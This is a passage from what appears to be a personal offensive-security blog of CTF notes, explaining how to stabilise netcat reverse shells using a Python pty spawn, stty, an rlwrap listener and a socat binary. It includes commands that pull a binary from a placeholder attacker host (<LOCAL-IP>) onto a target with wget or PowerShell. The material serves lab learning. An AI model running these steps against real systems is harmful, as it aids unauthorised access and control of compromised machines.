boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Stabilizing a Shell

So we have caught or connected to a netcat shell. What next?

These shells are very unstable by default. Pressing Ctrl + C kills the whole thing, they are non-interactive, and they often have strange formatting errors. This is because netcat "shells" are really processes running inside a terminal rather than terminals in their own right. On Linux there are many ways to stabilise them. We will look at three. Stabilising Windows reverse shells tends to be much harder, but the second technique here is particularly useful for that.

Technique 1: Python

This one applies only to Linux boxes, which nearly always have Python installed by default. It is a three-stage process:

  1. First, use python -c 'import pty;pty.spawn("/bin/bash")', which uses Python to spawn a better-featured bash shell. Some targets need the Python version specified, so replace python with python2 or python3 as required. At this point the shell looks a bit prettier, but we still cannot use tab autocomplete or the arrow keys, and Ctrl + C still kills the shell.
  2. Step two is export TERM=xterm, which gives us access to term commands such as clear.
  3. Finally, and most importantly, background the shell with Ctrl + Z. Back in our own terminal, run stty raw -echo; fg. This does two things: it turns off our own terminal echo (giving us tab autocomplete, the arrow keys, and Ctrl + C to kill processes), then it foregrounds the shell, completing the process.
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=term-256color
CTRL + Z (to foreground terminal)
stty raw -echo; fg

The full technique can be seen here:

Note that if the shell dies, any input in your own terminal will be invisible because terminal echo is disabled. To fix this, type reset and press enter.

Technique 2: Rlwrap

Rlwrap gives us history, tab autocompletion and the arrow keys immediately on receiving a shell; some manual stabilisation is still needed if you want Ctrl + C to work inside the shell. rlwrap is not installed by default on Kali, so install it first with sudo apt install rlwrap.

To use rlwrap, invoke a slightly different listener:

rlwrap nc -lvnp <port>

Prepending the netcat listener with "rlwrap" gives a much more fully featured shell. This is especially useful with Windows shells, which are otherwise notoriously difficult to stabilise. Against a Linux target you can fully stabilise using the same trick as step three above: background the shell with Ctrl + Z, then run stty raw -echo; fg to stabilise and re-enter it.

Technique 3: Socat

The third approach is to use an initial netcat shell as a stepping stone into a more fully featured socat shell. This is limited to Linux targets, since a Socat shell on Windows is no more stable than a netcat shell. To do it, transfer a socat static compiled binary (a version compiled with no dependencies) up to the target. A typical way is to run a web server on the attacking machine in the directory holding your socat binary (sudo python3 -m http.server 80), then use the netcat shell on the target to download the file. On Linux that is done with curl or wget (wget <LOCAL-IP>/socat -O /tmp/socat).

For completeness: in a Windows CLI the same can be done with PowerShell, using either Invoke-WebRequest or a webrequest system class depending on the version installed (Invoke-WebRequest -uri <LOCAL-IP>/socat.exe -outfile C:\\Windows\temp\socat.exe). The syntax for sending and receiving shells with Socat is covered in later tasks.

Setting the TTY Size

With any of the above, it is useful to be able to change the terminal tty size. A regular shell does this automatically, but in a reverse or bind shell it must be done manually if you want to use something like a text editor that overwrites the whole screen.

First, open another terminal and run stty -a. This gives a large stream of output. Note the values for "rows" and columns:

Next, in your reverse/bind shell, type:

stty rows <number>

and

stty cols <number>

filling in the numbers from your own terminal. This sets the registered width and height of the terminal so that programs such as text editors, which rely on that information, open correctly.